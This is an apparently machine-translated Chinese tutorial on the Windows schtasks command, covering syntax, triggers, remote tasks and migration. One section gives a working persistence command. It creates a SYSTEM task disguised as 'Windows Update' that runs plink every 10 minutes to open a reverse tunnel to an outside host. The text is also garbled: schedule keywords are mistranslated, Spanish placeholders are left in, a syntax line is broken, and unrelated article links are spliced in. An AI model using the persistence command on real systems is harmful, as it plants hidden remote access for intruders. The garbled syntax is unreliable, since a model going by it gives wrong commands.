SCHTASKS 指令:Windows 任務排程程式完整指南

最後更新: 23/02/2026
作者: 艾薩克

Windows 系統中的 schtasks 指令

如果您每天都使用 Windows 伺服器或 PC 你遲早會遇到這個指令 schtasks它是直接與任務計劃程序通訊的命令列實用程序,可讓您自動執行幾乎任何操作:啟動腳本、運行備份、檢查日誌,甚至無需接觸圖形介面即可啟動維護進程。

掌握 schtasks 指令,就能讓你擺脫手動救火的困境,擁有一個能夠自我管理的系統。本文將詳細介紹此指令的工作原理、所需的權限、完整的語法、所有重要參數,以及大量實用範例(包括遠端電腦場景、Windows 版本之間的遷移,以及任務未如預期運作的實際案例)。

schtasks是什麼?它具體是用來做什麼的?

命令 schtasks 這是任務排程器的控制台介面。 Windows 系統。它取代了舊系統。 at.exe 它幾乎適用於所有現代版本的系統:Windows 10、Windows 11、Windows Server 2019、2022 以及支援的早期版本。

它的目的是管理計劃任務:您可以在本機電腦和遠端伺服器上建立、修改、列出、啟動、停止和刪除任務。它非常適合自動化腳本、可執行檔、備份、安全檢查、監控或任何您希望按計劃重複執行的命令。

除了可以安排重複性任務外,schtasks 還允許您在關鍵系統時刻(例如啟動、登入、空閒或 Windows 登錄事件)觸發操作。最重要的是,您可以決定這些任務使用哪個帳戶運行、它們的權限等級以及是否儲存關聯的密碼。

在專業和網路安全環境中,它也被用於建立持久性,即確保某個命令定期或在特定觸發時執行,通常使用 SYSTEM 帳戶等特權憑證,這使得它非常強大(如果濫用也很棘手)。

安全使用 schtasks 所需的權限

並非所有帳戶都能使用 schtasks 執行所有操作。若要操作外部任務或系統任務,您需要是這些任務所在電腦的管理員群組成員。

在本機上,如果要檢視、排程或修改所有任務,執行 schtasks 指令的帳戶必須是管理員帳戶。一般使用者通常只能管理自己的任務,且權限有限。

遠端團隊 情況變得稍微複雜一些:您必須是遠端伺服器上 Administrators 群組的成員,或使用參數明確提供管理員憑證。 /u (以及您的密碼) /p此外,本機電腦的網域必須與遠端伺服器的網域相同,或必須是遠端伺服器的受信任網域,否則憑證將無法驗證。

該任務本身也需要足夠的權限。 它決定了任務將要執行的操作。預設情況下,如果您未指定任何內容,則任務將以目前使用者(或指定使用者)身分執行。 /u (安排任務時)。如果您希望任務以其他使用者或系統帳戶執行,則必須使用 /ru 和可選 /rp 密碼。

需要注意的是,SYSTEM 帳戶不支援互動式登入:以 SYSTEM 帳戶啟動的程式不會顯示窗口,也不允許使用者互動。它們非常適合用於服務、靜默腳本或維護任務,但不適合需要使用者點擊或輸入資料的應用程式。

命令的基本語法和主要操作

schtasks 指令的一般形式總是圍繞著一個主要操作(建立、刪除、查詢等)建構的。最基本的幫助文件會顯示如下內容:

schtasks /Create | /Delete | /Query | /Change | /Run | /End | /?

這些操作各自都有一組參數和有效組合。其中最重要的參數包括:

  • schtasks /create:建立一個新的計劃任務。
  • schtasks /delete:刪除一項或多項任務。
  • schtasks /query:以表格、清單或 CSV 格式列出現有任務。
  • schtasks /change:修改已建立任務的屬性(執行使用者、密碼、程式、互動模式等)。
  • schtasks /run:強制立即執行已安排的任務。
  • schtasks /end:停止任務目前正在運行的程式。

您可以從 Windows 主控台查看詳細協助。 經典方法的每次操作 /?。 例如, schtasks /create /? 它會顯示所有語法及其參數的解釋,就像… schtasks /query /? 或任何其他變體。

使用 schtasks 建立任務:完整語法

迄今為止使用最廣泛的操作是 /create它用於定義新任務。它的完整語法很複雜,但它允許您控製程式設計的幾乎所有細節:

schtasks /create /sc <tipo> /tn <nombre> /tr <comando> <usuario> ]] <usuario> | system}] | *] ] ]

建立任務時需要了解的關鍵參數包括:

  • /sc <tipo>: 程式設計類型(MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE、ONEVENT)。
  • /tn <nombre>任務名稱。可以包含虛擬資料夾路徑: \Carpeta\MiTarea.
  • /tr <comando>要執行的程式、腳本或命令,如果路徑不完整,則需要提供完整路徑。 %SystemRoot%\System32.
  • /s <equipo>:將要建立任務的遠端電腦(名稱或 IP 位址)。
  • /u y /p:與遠端伺服器通訊時執行 schtasks 命令本身所使用的憑證(僅在下列情況下有效): /s).
  • /ru y /rp:輪到你執行任務時將要使用的帳號和密碼。
  • /mo, /d, /m, /st, /sd, /ed:頻率修飾符、具體日期、月份和開始/結束日期。
  • /it:強制任務僅在「以…身分執行」使用者登入時執行。
  • /np:不保存密碼(僅限本地資源,非互動式執行)。
  • /z:完成日曆設定後,該任務將會移除。
  • /rl:啟動時所擁有的權限等級(有限或最高)。
  客製化和改進 Notepad++:包含技巧和插件的實用指南

其靈活性極高,但出錯的可能性也很大(例如,混合使用不適用於特定程式設計類型的參數)。因此,建議先查閱每種模式的說明文檔,並在實驗室環境中進行測試。

編程類型和頻率修飾符

參數 /sc 定義了任務的「時間」。根據所選類型,某些附加參數是必需的、可選的,或者根本無效。

可用的規劃類型有

  • MINUTE每隔 n 分鐘。
  • 每小時每隔 n 小時。
  • DAILY每隔n天。
  • 每週每隔 n 週,可以選擇一週中的哪幾天。
  • 月刊:彈性的每月行程(具體日期、具體週、最後一天、具體月份)。
  • 一旦:在指定日期和時間執行一次。
  • 啟動每次系統啟動。
  • 登入:每次用戶登入時(任何用戶或特定用戶,取決於…) /ru).
  • 奧尼德爾:當系統在一定時間內保持不活動狀態時。
  • 事件:由登錄事件(通道和定義的標準)觸發的執行。

修飾符 /mo 調整每種類型中的頻率例如:分鐘數代表分鐘,天數代表每日,週數代表每週,月數代表每月,或某些月份組合的特殊值,例如第一天、第二天、第三天、第四天和最後一天。

其他參數,例如 /d y /m 它們能提高精度: /d 它允許您指定一周中的特定日期(星期一、星期二、星期三、星期四、星期五、星期六、星期日或 * 表示全部日期),或根據所使用的變體指定月份中的某個日期。 /m 將節目播出時間限制在特定月份(1 月至 12 月或 *)。

因不活動而安排(空閒) 是必不可少的 /i <minutos>這表示團隊在啟動任務前必須保持多長時間的非活動狀態。對於 ONCE 模式,此項目為必填項。 /st,以及可選的 /sd 如果你希望它不是在「今天」運行,而是在另一個特定的日期運行。

按分鐘、小時和天進行日程安排:實用範例

在實際環境中,自動化監控或維護腳本非常普遍,這些腳本會每隔幾分鐘或幾小時重複執行一次。以下是一些關鍵的組合:

範例 1 – 每 20 分鐘執行一次腳本

schtasks /create /sc minute /mo 20 /tn "Security Script" /tr "\\central\data\scripts\sec.vbs"

這裡指定了執行頻率為 20 分鐘,但既沒有指定開始時間也沒有指定日期,因此首次執行將在任務建立 20 分鐘後進行。腳本位於網路路徑上,但它在本機電腦上執行。

範例 2 – 在某個時間段內每隔 100 分鐘

schtasks /create /tn "Security Script" /tr sec.vbs /sc minute /mo 100 /st 17:00 /et 08:00 /k

在這種情況下,工作負載每 100 分鐘就會出現一次高峰。 下午 5 點至隔天早上 8 點之間。 /k 如果程式在結束時間到達時仍在運行,則會被強制停止;如果沒有該參數,程式只會停止重新啟動,但不會終止正在進行的進程。

安排邏輯類似,但… /sc hourly例如,從特定日期開始,每隔 5 小時運行一次:

schtasks /create /sc hourly /mo 5 /sd 03/01/2002 /tn MyApp /tr c:\apps\myapp.exe

另一種典型的時間模式是「每隔 X 小時,持續一段時間」。 運用 /du 例如,設定最大持續時間為 10 小時,這樣在該時間視窗之外,直到下一個每日週期開始之前,不會再觸發任何實例。

在日常計劃中 (/sc daily預設的調整值為一天,所以如果您不指定… /mo該任務將在每天指定時間運行。請調整開始日期。 /sd 或結束 /ed 它允許您限制臨時活動(僅在特定日期前進行維護、測試等)。

高級週計劃和月計劃

當您需要比「每隔 X 天」更精確的安排時,最好使用每週或每月計劃。使用「每週」計劃,您可以設定以週和星期為單位的間隔;使用「每月」計劃,您可以設定以月份為單位的日期、特定週或最後一天。

例如-每隔一個星期五

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc weekly /mo 2 /d FRI

這裡 /mo 2 表示兩週的間隔,而 /d FRI 僅限週五。省略 /mo每週五都是如此。

例如-每月第二個星期日(具體是當月的哪一週):

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc monthly /mo SECOND /d SUN

在這種情況下 /mo SECOND 這標誌著本月第二週的到來/d SUN 確定該週內的某一天。同樣的道理也適用於將「第一天」、「第三天」或「第四天」與某一天組合在一起的情況。

按月日期安排行程 這也非常常見:與 /sc monthly y /d 15 例如,你總是在15號運行它。 /m MAY,JUN 會將執行期限限制在這兩個月內,而 /m * 這關係到每個人。

對於月底自動化操作,通常會使用 LASTDAY 修飾符,它會在當月的最後一天啟動任務,從而兼容 28、29、30 或 31 天的月份,而無需您擔心日曆。

  PowerX Suite 評論:令人驚嘆的智慧家庭設備,可節省您的水電費!

特殊觸發器:啟動、登入、不活動和事件

並非所有任務都基於固定的日期和時間。通常,對系統事件做出反應很有用,例如機器啟動時、使用者登入時或系統無活動時。

ONSTART會在每次 Windows 啟動時執行該任務。這通常就足夠了:

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onstart

ONLOGON會在使用者登入時觸發執行。您可以在本機電腦和遠端電腦上使用它。

schtasks /create /tn "Start Web Site" /tr c:\myiis\webstart.bat /sc onlogon /s Server23

奧尼德爾 它會在一段時間不活動後被激活,用以下方式聲明: /i例如,在 10 分鐘無活動後啟動某個程序:

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onidle /i 10

ONEVENT 類型可讓您對事件檢視器中的事件做出反應。指定通道 /EC 以及使用 XML 定義事件(通常使用 /xml它非常適合用於自動回應服務故障、嚴重錯誤或安全事件。

立即運行任務並模擬“立即運行”

Windows 沒有從 schtasks 提供「立即運行」按鈕,但您可以根據需要透過兩種不同的方式實現相同的效果。

第一種方法是使用 schtasks /run 關於已安排的任務:

schtasks /run /tn MiTarea

此命令會忽略計劃任務,並立即使用任務中配置的程式、使用者名稱和密碼啟動任務。它對於測試任務是否定義正確非常有用,無需等待下次執行。

第二種方法是建立類型為「十一」的任務。 將其設定為在幾分鐘後運行,模擬「現在」的情況,例如,在當前時間後 2-3 分鐘運行。然後,如果需要,您可以將其刪除。 /delete 自動。

作為調試問題的另一個技巧值得查看一下這個文件。 SchedLgU.txt en %SystemRoot%任務排程器會留下許多執行錯誤和憑證錯誤。

使用 SYSTEM 帳戶進行持久化和執行

在網路安全和高階管理中, schtasks 的一個非常常見的用途是確保在 SYSTEM 帳戶下重複執行某個命令,從而實現以最高​​權限持久執行。

一個經典的持久化模式看起來大概是這樣的:

C:\> schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"

這將建立一個重複性任務 程式以 SYSTEM 權限每隔 n 分鐘執行一次,執行您指定的命令(腳本、二進位、連線工具等)。無需密碼。 /rp 因為 SYSTEM 帳戶不使用使用者憑證。

實際應用中每 10 分鐘進行一次反向連接的持久性範例

C:\> schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"

這是一個看似無害的任務(「Windows 更新」)。 定期推出 plink.exe 一系列參數:目標 IP、連接埠 443、啟用壓縮、連接埠轉送、無互動式 shell(-N),遠端用戶 root 並透過私鑰進行身份驗證。

這種使用方式顯示了 schtasks 為何如此敏感:在合法管理員手中,它是一個非常強大的自動化工具,但它也是在被入侵的系統上維持持久存取權限的常見途徑之一。

從最佳實踐的角度來看,建議定期審查計劃任務,審核使用 SYSTEM 的任務,並控制自動運行的腳本和二進位文件,尤其是在暴露的伺服器上。

與遠端團隊合作以及其他資格認證

schtasks 的一個主要優勢是它可以對其他伺服器採取行動。 無需手動連線。使用 /s 指示遠端主機和 /u//p 對於管理員憑證,您可以在這些系統上建立、列出或修改任務。

範例 – 使用本機管理員使用者在遠端伺服器上排程任務

schtasks /create /s SRV01 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc daily /mo 10

如果您的目前使用者已經是 SRV01 中的管理員 你不需要 /u如果不是,您需要指定一個具有相應權限的帳戶:

schtasks /create /s SRV06 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc hourly /mo 3 /u reskits\admin01 /p R43253@4$ /ru SRV06\user03 /rp MyFav!!Pswd

此命令具有兩級憑證。:憑證 /u (admin01)用於在遠端電腦上建立任務,而那些 /ru 然後使用使用者 (user03) 每三小時運行一次該任務。這樣,如果不需要管理員權限,則該任務本身就可以在沒有管理員權限的情況下執行。

如果本機電腦不屬於受信任網域 對於遠端網域,伺服器將無法驗證所提供的帳戶。 /u 任務將為「空」:它將出現在清單中,但沒有正確的憑證數據,沒有下次執行時間,並且有警告訊息表明無法建立帳戶資訊。

經與…詳細磋商 schtasks /query /V 你會發現“以用戶身份運行”之類的字段無法獲取,並且“下次運行時間”為“從不”。在這種情況下,你需要檢查網域之間的信任關係,或使用不同的帳戶/伺服器來正確配置任務。

  修復 DNS 伺服器不回應錯誤

在伺服器之間匯入和遷移計劃任務

從 Windows Server 2003 遷移到更現代的版本時,通常(在某些遺留環境中仍然如此)需要將所有排程任務遷移到新伺服器,維護其屬性並調整使用者帳戶。

一個實用的方法是複製 .job 文件C:\Windows\Tasks 從舊伺服器到臨時資料夾(例如) C:\Task), 和 schtasks.exe y schedsvc.dll de C:\Windows\System32然後將該資料夾移至新伺服器。

完成後,將 .job 檔案複製到新系統的任務資料夾中,並使用 FOR 迴圈批次更新用於執行任務的帳戶和密碼:

cd C:\Task
FOR /R . %F in (*.*) do schtasks /change /TN %~nF /RU dom\Administrador /RP CONTRASEÑA

命令 schtasks /change 允許您修改憑證 參數 /ru (使用者)和 /rp (密碼)等屬性。這樣,所有匯入的任務都會更新,以便在新網域/伺服器上使用有效帳戶執行。

此過程完成後,如果一切順利,系統將顯示成功訊息,例如「成功:排程任務參數『Scheduled_Task_Name』已變更。」 然後,您可以開啟圖形化的任務規劃程序,並驗證任務是否按預期顯示和執行。

但是,請記住,許多任務依賴特定的腳本或路徑。除了 .job 檔案之外,您還需要將所有自訂的 .bat、.vbs、.exe 等檔案複製到與來源伺服器上相同的位置,或者如果您決定將它們移至其他位置,則需要調整任務中的路徑。

諮詢、調試和解決 schtasks 的常見問題

即使在建立或啟動任務時命令返回「成功」,也並不總是意味著底層程式已正確執行。因此,了解如何監控和調試至關重要,必要時可以使用tasklist 和 taskkill等工具。

schtasks /query 您可以列出任務 支援本地和遠端訪問,並提供篩選器和不同格式:

schtasks /query /S servidor /U usuario /P contraseña /FO TABLE /V

參數 /FO 定義格式 (表格、清單或 CSV 檔案) /NH 刪除表格/CSV 檔案中的標題行 /V 它顯示完整詳細資訊(運行用戶、下次啟動、上次運行、結果等)。

一個非常典型的實際場景是,某個任務在 PowerShell 中手動執行時可以正常運作,但透過任務排程程式啟動時卻無法正常運作。例如,在一台伺服器上執行 `schtasks` 命令,以在另一台遠端伺服器上啟動一個任務:

schtasks /run /s server02 /tn starttask

在 PowerShell 中手動運行時,一切似乎正常(顯示成功訊息,作業在 server02 上啟動),但透過任務排程器在 server01 上調度時,卻沒有任何反應。在這種情況下,應檢查以下內容:

  • 在 server01 上執行任務的帳戶 (例如,SYSTEM)。 SYSTEM 並不總是擁有與網域使用者相同的網路權限,這可能會導致無法存取 server02。
  • 上下文“無論用戶是否登入都運行”因為它改變了可用環境(變數、網路映射、互動式權限等)。
  • 「以最高權限運行」設定在某些情況下,這可能是必要的。
  • PowerShell 和腳本的絕對路徑 (powershell.exe -File "F:\folder\startserver02task.ps1"),避免對目前資料夾的依賴。

通常的解決方案是使用 server01 上的網域服務帳戶而不是 SYSTEM 帳戶來執行該任務,或審查兩個伺服器之間的安全性和防火牆策略以允許遠端呼叫。

另一個導致問題的因素是時間和區域格式。 日期。參數 /sd y /ed 這些取決於區域設定(例如 DD/MM/YYYY、MM/DD/YYYY、YYYY/MM/DD 等)。如果日期被錯誤解讀,任務可能永遠不會運行,或者下次計劃執行時會被標記為「永不執行」。

最後,請務必記住,schtasks在建立任務時不會驗證路徑或密碼。如果您輸入了錯誤的程式路徑或帳戶密碼,任務仍然會被創建,但會在執行時失敗。如果密碼過期而您沒有更新任務,任務將停止運行,而 schtasks 不會主動通知您。

總而言之,schtasks 是一款功能強大且靈活的工具,可用於從命令列自動化 Windows 系統:它允許您安排本機和遠端任務、選擇多種觸發器類型、微調任務頻率、在伺服器版本之間遷移任務,以及精確管理憑證。掌握其參數並了解它們如何與任務規劃程式和 Windows 安全機制交互,是設定強大的自動化流程、偵測惡意持久化攻擊以及每天節省大量手動工作的關鍵。

使用 Schtaks 安排和管理規劃任務
相關文章:
如何在 Windows 中使用 schtasks 安排和管理自動任務